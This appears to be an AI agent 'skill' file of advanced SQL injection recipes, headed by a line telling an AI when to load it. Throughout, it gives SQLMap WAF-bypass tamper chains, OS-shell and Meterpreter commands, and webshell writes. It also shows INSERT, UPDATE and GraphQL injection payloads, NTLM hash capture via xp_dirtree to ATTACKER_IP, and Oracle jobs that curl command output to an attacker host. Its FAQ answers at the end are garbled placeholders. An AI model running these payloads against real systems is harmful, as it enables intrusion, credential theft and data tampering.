AI LOAD INSTRUCTION: Load this when you need SQLMap tamper chain recipes, INSERT/UPDATE/DELETE injection patterns, GraphQL+SQLi, WAF bypass tamper stacking, or DB-specific advanced functions that base models miss. Assumes the main SKILL.md is already loaded for fundamentals.
---
1. SQLMAP — ADVANCED WORKFLOW
1.1 Tamper Scripts Matrix
Tamper scripts modify payloads to evade WAF/IDS. Stack multiple with commas.
| Tamper | Effect | Target |
|---|---|---|
space2comment | SELECT/**/username | WAFs blocking literal spaces |
space2plus | SELECT+username | URL-encoded space filters |
space2hash | SELECT%23%0ausername | MySQL — #\n acts as space |
space2mssqlblank | Replaces space with random blank chars (%00–%0F) | MSSQL |
space2morehash | More aggressive #\n padding | MySQL behind strict WAF |
between | NOT BETWEEN 0 AND instead of > | WAFs blocking comparison operators |
charencode | URL-encodes all characters | Generic evasion |
chardoubleencode | Double URL-encode | Proxies that decode once before WAF |
randomcase | SeLeCt | Case-sensitive WAF rules |
randomcomments | SEL/**/ECT | Signature-based WAFs |
equaltolike | = → LIKE | WAFs blocking = |
greatest | > → GREATEST(val,X)=val | Operator-blocking WAFs |
ifnull2ifisnull | IFNULL → IF(ISNULL(...)) | MySQL-specific WAFs |
modsecurityversioned | /*!50000SELECT*/ | ModSecurity CRS on MySQL |
modsecurityzeroversioned | /*!00000SELECT*/ | ModSecurity with lax version matching |
unionalltounion | UNION ALL SELECT → UNION SELECT | Rules specific to UNION ALL |
percentage | Insert % between chars: S%E%L%E%C%T | IIS/ASP classic |
appendnullbyte | Append %00 | Language-level null-byte truncation |
halfversionedmorekeywords | /*!0SELECT*/ | MySQL version comment trick |
base64encode | Base64-encode entire payload | Custom decoders |
symboliclogical | AND → &&, OR → ` | |
versionedkeywords | /*!SELECT*/ | MySQL versioned comments |
versionedmorekeywords | More keywords wrapped in /*!*/ | MySQL extended |
bluecoat | Replace space after SQL keyword with %09 | Blue Coat ProxySG |
sp_password | Append --sp_password at end | MSSQL log hiding |
1.2 WAF Bypass Tamper Chain Recipes
# MySQL behind ModSecurity CRS
sqlmap -u "$URL" --tamper=space2comment,between,randomcase,modsecurityversioned
# MySQL behind Cloudflare
sqlmap -u "$URL" --tamper=space2comment,charencode,randomcase,between
# MSSQL behind IIS + generic WAF
sqlmap -u "$URL" --tamper=space2mssqlblank,randomcase,charencode,sp_password
# Oracle behind enterprise WAF
sqlmap -u "$URL" --tamper=between,randomcase,charencode
# Double-proxy (decode-once WAF in front)
sqlmap -u "$URL" --tamper=chardoubleencode,space2comment,randomcase
# IIS/ASP with percentage filter
sqlmap -u "$URL" --tamper=percentage,space2comment,randomcase
# PostgreSQL behind strict keyword WAF
sqlmap -u "$URL" --tamper=space2comment,between,randomcase,symboliclogical1.3 --technique Flags
Control which injection techniques SQLMap tries:
| Flag | Technique | When |
|---|---|---|
B | Boolean-based blind | Default first-try; conditional response diff |
E | Error-based | Visible SQL errors in response |
U | UNION query-based | Inline data extraction, fastest |
S | Stacked queries | Multi-statement support (MSSQL, PostgreSQL) |
T | Time-based blind | No visible diff; last resort |
Q | Inline queries | Subquery within another statement |
# Only try UNION and error-based (fast, less noise):
sqlmap -u "$URL" --technique=UE
# Stacked queries for MSSQL xp_cmdshell:
sqlmap -u "$URL" --technique=S --os-shell
# Blind-only (stealthy recon):
sqlmap -u "$URL" --technique=BT1.4 --risk and --level Combinations
| Level (1–5) | Effect |
|---|---|
| 1 | Default; tests GET/POST params |
| 2 | Also tests Cookie values |
| 3 | Also tests User-Agent, Referer |
| 4 | More payloads per parameter |
| 5 | All parameters, all headers, all payload variants |
| Risk (1–3) | Effect |
|---|---|
| 1 | Default; harmless payloads |
| 2 | Adds heavy time-based payloads |
| 3 | Adds OR-based payloads (may alter data — UPDATE/DELETE risk) |
# Thorough scan (headers, cookies, aggressive payloads):
sqlmap -u "$URL" --level=5 --risk=3
# Stealthy initial recon:
sqlmap -u "$URL" --level=2 --risk=1
# Cookie injection focus:
sqlmap -u "$URL" --level=2 --cookie="token=abc*" --risk=21.5 Second-Order Injection (--second-url)
# Inject into registration form, observe result on profile page:
sqlmap -u "https://target.com/register" \
--data="username=test*&password=pass" \
--second-url="https://target.com/profile" \
--second-req="second_request.txt"
# --second-url: URL where injected payload manifests
# --second-req: full request file for the second URL (optional)1.6 OS-Level Exploitation
# Interactive OS shell (requires stacked queries + priv):
sqlmap -u "$URL" --os-shell
# Tries: xp_cmdshell (MSSQL), UDF (MySQL), PL/Python (PostgreSQL)
# Meterpreter session:
sqlmap -u "$URL" --os-pwn
# Uploads stager, connects to Metasploit handler
# Read server files:
sqlmap -u "$URL" --file-read="/etc/passwd"
# Write webshell:
sqlmap -u "$URL" --file-write="shell.php" --file-dest="/var/www/html/shell.php"
# Specific DBMS for UDF path:
sqlmap -u "$URL" --os-shell --dbms=mysql1.7 Useful Flags Reference
# Force DBMS to skip fingerprinting:
--dbms=mysql|mssql|oracle|pgsql|sqlite
# Proxy through Burp:
--proxy="http://127.0.0.1:8080"
# Custom injection marker:
--data="id=1*" # * marks the injection point
# JSON body:
sqlmap -u "$URL" --data='{"id":"1*"}' --content-type="application/json"
# WAF detection & identify:
--identify-waf
# Skip URL encoding (for raw-socket evasion):
--skip-urlencode
# Specify prefix/suffix for custom contexts:
--prefix="')" --suffix="-- -"
# Verbose output for debugging tamper chains:
-v 3
# Dump with specific charset (faster brute-force):
--charset="0123456789abcdef"
# Threads for faster blind extraction:
--threads=8
# Flush session to re-test:
--flush-session---
2. INSERT / UPDATE / DELETE INJECTION PATTERNS
2.1 INSERT Statement Injection
The injected value lands inside a VALUES(...) clause.
-- Original:
INSERT INTO logs (user, action) VALUES ('INPUT', 'login');
-- Injected INPUT: test','login'); SELECT SLEEP(5);--
-- Result (stacked query proves arbitrary statement execution, harmless time-based PoC):
INSERT INTO logs (user, action) VALUES ('test','login'); SELECT SLEEP(5);--', 'login');Data exfiltration via INSERT (when you can see the inserted row):
-- MySQL: inject subquery into visible column
INPUT: test',(SELECT password FROM users LIMIT 1))-- -
-- Result:
INSERT INTO logs (user, action) VALUES ('test',(SELECT password FROM users LIMIT 1))-- -', 'login');
-- Oracle: requires FROM dual in subquery
INPUT: test'||(SELECT username FROM all_users WHERE ROWNUM=1)||'Blind INSERT exfiltration (cannot see the row):
-- Time-based: inject IF into a column
INPUT: test' AND IF((SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a', SLEEP(5), 0) AND '1'='12.2 UPDATE Statement Injection
-- Original:
UPDATE users SET email='INPUT' WHERE id=1;
-- Overwrite another column:
INPUT: attacker@evil.com', is_admin='1
-- Result:
UPDATE users SET email='attacker@evil.com', is_admin='1' WHERE id=1;
-- Overwrite WHERE clause (escalate to all rows):
INPUT: anything' WHERE 1=1;--
-- Result:
UPDATE users SET email='anything' WHERE 1=1;--' WHERE id=1;Subquery data extraction in UPDATE:
-- Extract data into a column you can read:
INPUT: '||(SELECT password FROM users WHERE username='admin')||'
-- Result (PostgreSQL):
UPDATE profile SET bio=''||(SELECT password FROM users WHERE username='admin')||'' WHERE id=1;
-- bio now contains admin's password hash2.3 DELETE Statement Injection
-- Application's own statement (the injectable sink):
DELETE FROM sessions WHERE token='INPUT';
-- Non-destructive proof — time-based blind extraction inside the DELETE context
-- (confirms injection WITHOUT removing rows):
INPUT: ' OR IF((SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a', SLEEP(5), 0) OR '
-- Note: a boolean payload (e.g. ' OR '1'='1) would widen the WHERE to every row and is
-- destructive — never run it against real data; use the time-based proof above instead.2.4 SQLMap for INSERT/UPDATE/DELETE
# SQLMap can test non-SELECT statements with stacked queries:
sqlmap -u "$URL" --data="email=test@test.com" --technique=BST --risk=3 --level=3
# --risk=3 is needed: enables OR-based payloads used in UPDATE/DELETE contexts
# Use --string or --not-string to identify success/failure responses---
3. GRAPHQL + SQL INJECTION
3.1 Batched Query Injection
GraphQL supports batched queries in a single HTTP request — each may hit different resolvers with different SQL backends:
[
{"query": "{ user(id: \"1 OR 1=1--\") { name email } }"},
{"query": "{ product(id: \"1 UNION SELECT username,password FROM users--\") { title } }"}
]3.2 Nested Field Injection
GraphQL resolvers often build SQL from nested field arguments:
{
users(where: {name: "admin' OR '1'='1"}) {
id
email
posts(orderBy: "created_at;SELECT SLEEP(5)--") {
title
}
}
}Argument-level injection points:
# filter / where argument
{ users(filter: {email_contains: "' OR 1=1--"}) { id } }
# orderBy / sortBy
{ users(orderBy: "name ASC; WAITFOR DELAY '0:0:5'--") { id } }
# limit / offset
{ users(limit: "1 UNION SELECT username,password FROM admins--") { id } }
# search / full-text
{ search(query: "test' AND 1=CONVERT(int,(SELECT TOP 1 password FROM users))--") { id } }3.3 Mutation Injection
Mutations map to INSERT/UPDATE/DELETE — test all input fields:
mutation {
createUser(input: {
name: "test',(SELECT password FROM users LIMIT 1))-- -"
email: "a@b.com"
}) {
id
}
}3.4 Introspection + SQLi Recon
Use introspection to enumerate all arguments that might flow to SQL:
{
__schema {
types {
name
fields {
name
args { name type { name } }
}
}
}
}Look for args named: id, filter, where, search, orderBy, sort, limit, offset — these commonly map to SQL clauses.
3.5 SQLMap with GraphQL
# Inline parameter marking:
sqlmap -u "https://target.com/graphql" \
--data='{"query":"{ user(id: \"1*\") { name } }"}' \
--content-type="application/json" \
--technique=BEUST \
--tamper=space2comment
# Via saved request file (recommended for complex queries):
sqlmap -r graphql_request.txt -p "id" --dbms=postgresql---
4. DB-SPECIFIC ADVANCED FUNCTIONS
4.1 PostgreSQL — Dollar-Sign Quoting
Bypass quote filters entirely using $$ delimiters:
-- Standard quoting (blocked by WAF):
SELECT 'admin'
-- Dollar-sign quoting (same result, no single quotes):
SELECT $$admin$$
-- Tagged dollar quoting:
SELECT $tag$admin$tag$
-- In injection context:
' UNION SELECT $$test$$,version()--
-- Dynamic SQL execution without quotes:
SELECT $$ALTER USER postgres PASSWORD 'newpass'$$::text;PostgreSQL COPY command for file I/O:
-- Read file:
CREATE TEMP TABLE tmp(content text);
COPY tmp FROM $$/etc/passwd$$;
SELECT * FROM tmp;
-- Write file (webshell):
COPY (SELECT $$<?php system($_GET['c']); ?>$$) TO $$/var/www/html/shell.php$$;PostgreSQL large object for binary I/O:
SELECT lo_import($$/etc/passwd$$, 1337);
SELECT lo_get(1337);PL/pgSQL command execution (if CREATE LANGUAGE available):
CREATE OR REPLACE FUNCTION cmd(text) RETURNS text AS $$
BEGIN
RETURN (SELECT cmd_output FROM sys_exec($1));
END;
$$ LANGUAGE plpgsql;4.2 MSSQL — Linked Servers
Linked servers allow pivoting through SQL Server trust relationships:
-- Enumerate linked servers:
SELECT * FROM master..sysservers;
EXEC sp_linkedservers;
-- Query a linked server:
SELECT * FROM OPENQUERY(LINKED_SRV, 'SELECT @@version');
-- Execute on linked server:
EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SRV];
-- Nested (double-hop) through two linked servers:
EXEC ('EXEC (''xp_cmdshell ''''whoami'''''') AT [LINKED_SRV_2]') AT [LINKED_SRV_1];MSSQL credential harvesting:
-- Capture NTLM hash via UNC path:
EXEC master..xp_dirtree '\\ATTACKER_IP\share';
-- xp_subdirs alternative:
EXEC master..xp_subdirs '\\ATTACKER_IP\share';
-- Run Responder/Inveigh on attacker to capture NTLMv2 hashMSSQL CLR assembly for full .NET execution:
-- Requires sysadmin or ALTER ASSEMBLY permission
CREATE ASSEMBLY malicious FROM 0x4D5A... WITH PERMISSION_SET = UNSAFE;
CREATE PROCEDURE [dbo].[cmd_exec] @cmd NVARCHAR(4000) AS EXTERNAL NAME [malicious].[StoredProcedures].[cmd_exec];
EXEC cmd_exec 'whoami';MSSQL Agent Jobs (alternate command execution path):
USE msdb;
EXEC dbo.sp_add_job @job_name = 'pwn';
EXEC sp_add_jobstep @job_name='pwn', @step_name='run',
@subsystem='CmdExec', @command='whoami > C:\out.txt';
EXEC sp_add_jobserver @job_name='pwn';
EXEC sp_start_job @job_name='pwn';4.3 Oracle — DBMS_PIPE and Advanced Packages
-- Time-based blind via DBMS_PIPE.RECEIVE_MESSAGE:
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a', 5)--
-- Waits 5 seconds; works where SLEEP() doesn't exist
-- DBMS_LOCK.SLEEP (if DBMS_PIPE is blocked):
' AND 1=DBMS_LOCK.SLEEP(5)--
-- Heavy query time-based (no special priv):
' AND 1=(SELECT COUNT(*) FROM all_objects a, all_objects b)--Oracle DBMS_SCHEDULER for OS commands:
BEGIN
DBMS_SCHEDULER.CREATE_JOB(
job_name => 'pwn',
job_type => 'EXECUTABLE',
job_action => '/bin/bash',
number_of_arguments => 2,
enabled => FALSE
);
DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('pwn', 1, '-c');
DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('pwn', 2, 'curl http://ATTACKER/$(whoami)');
DBMS_SCHEDULER.ENABLE('pwn');
END;Oracle XXE via XMLTYPE (out-of-band exfiltration):
SELECT XMLTYPE('<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://ATTACKER/'||(SELECT user FROM dual)||'">]><foo>&xxe;</foo>') FROM dual;Oracle DBMS_JAVA for OS command via Java:
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c "curl http://ATTACKER/$(id)"') FROM dual;4.4 MySQL — Advanced Tricks
-- Handler command (bypass SELECT keyword filters):
HANDLER users OPEN;
HANDLER users READ FIRST;
HANDLER users CLOSE;
-- Prepared statement via hex (bypass keyword filters):
SET @q=0x53454C454354202A2046524F4D207573657273; -- SELECT * FROM users
PREPARE stmt FROM @q;
EXECUTE stmt;
-- mysql.innodb_table_stats (bypass information_schema filters):
SELECT database_name, table_name FROM mysql.innodb_table_stats;
-- sys schema (MySQL 5.7+, bypass information_schema filters):
SELECT table_name FROM sys.schema_table_statistics WHERE table_schema=database();
SELECT table_name FROM sys.x$schema_table_statistics;
-- Dumpfile (binary-safe single-row write):
SELECT 0x3C3F706870... INTO DUMPFILE '/var/www/html/shell.php';4.5 SQLite — Advanced Techniques
-- Attach database to write webshell:
ATTACH DATABASE '/var/www/html/shell.php' AS pwn;
CREATE TABLE pwn.cmd (txt text);
INSERT INTO pwn.cmd VALUES ('<?php system($_GET["c"]); ?>');
-- Read arbitrary file (load_extension if enabled):
-- Requires: SQLITE_ENABLE_LOAD_EXTENSION
SELECT load_extension('/path/to/malicious.so');
-- GLOB-based blind (alternative to LIKE):
SELECT * FROM users WHERE password GLOB 'a*';---
5. WAF BYPASS — ADVANCED TAMPER CHAIN PATTERNS
5.1 ModSecurity CRS v3 Bypass Recipes
-- Paranoia Level 1 (default):
/*!50000SELECT*/ /*!50000username*/ /*!50000FROM*/ /*!50000users*/
-- Paranoia Level 2:
%53%45%4C%45%43%54/**/username/**/FROM/**/users
-- Combine tampers:
-- sqlmap --tamper=modsecurityversioned,space2comment,randomcase,between5.2 Cloudflare Bypass Patterns
-- Inline comment with version:
/*!50000UniOn*/ /*!50000SeLeCt*/ 1,2,3
-- Newline injection:
%0aSELECT%0a*%0aFROM%0ausers
-- Tabulation:
%09UNION%09SELECT%09*%09FROM%09users5.3 AWS WAF Bypass
-- JSON-based SQLi (if Content-Type: application/json):
{"id": "1 AND 1=1"}
-- Chunked transfer encoding can split payloads across chunks
-- Some WAFs don't reassemble before inspection5.4 Multi-Layer Encoding
-- Double URL encode (proxy decodes once, app decodes again):
%2527 → %27 → '
-- Unicode normalization attacks:
ʼ (U+02BC) → ' in some normalizers
'(U+FF07) → ' in some normalizers
-- Mixed encoding:
%53ELECT → SELECT (partial encoding)---
6. CHEAT SHEET — SQLMAP COMMAND COMBOS
# Full auto with WAF evasion, blind detection, and OS shell:
sqlmap -u "$URL" -p "id" --dbms=mysql --level=5 --risk=3 \
--tamper=space2comment,between,randomcase \
--technique=BEUST --threads=8 --os-shell
# POST JSON API with custom headers:
sqlmap -u "$URL" --data='{"user_id":"1*"}' \
--content-type="application/json" \
-H "Authorization: Bearer TOKEN" \
--tamper=charencode --technique=BT
# Cookie-based injection:
sqlmap -u "$URL" --cookie="id=1*" --level=2 --risk=2
# Second-order:
sqlmap -r register.txt --second-url="https://target.com/profile"
# Read password hashes:
sqlmap -u "$URL" -p "id" --passwords --threads=8
# Dump specific table:
sqlmap -u "$URL" -D dbname -T users -C username,password --dump
# Enumerate privileges:
sqlmap -u "$URL" --privileges --rolesRelated skills
How it compares
Choose sqli-sql-injection over basic SQLi scanner skills when you need contextual vectors for headers, JSON keys, URI paths, and out-of-band exfiltration scenarios.
FAQ
What is sqli-sql-injection?
>-
When should I use sqli-sql-injection?
>-
Is sqli-sql-injection safe to install?
Review the Security Audits panel on this page before production use.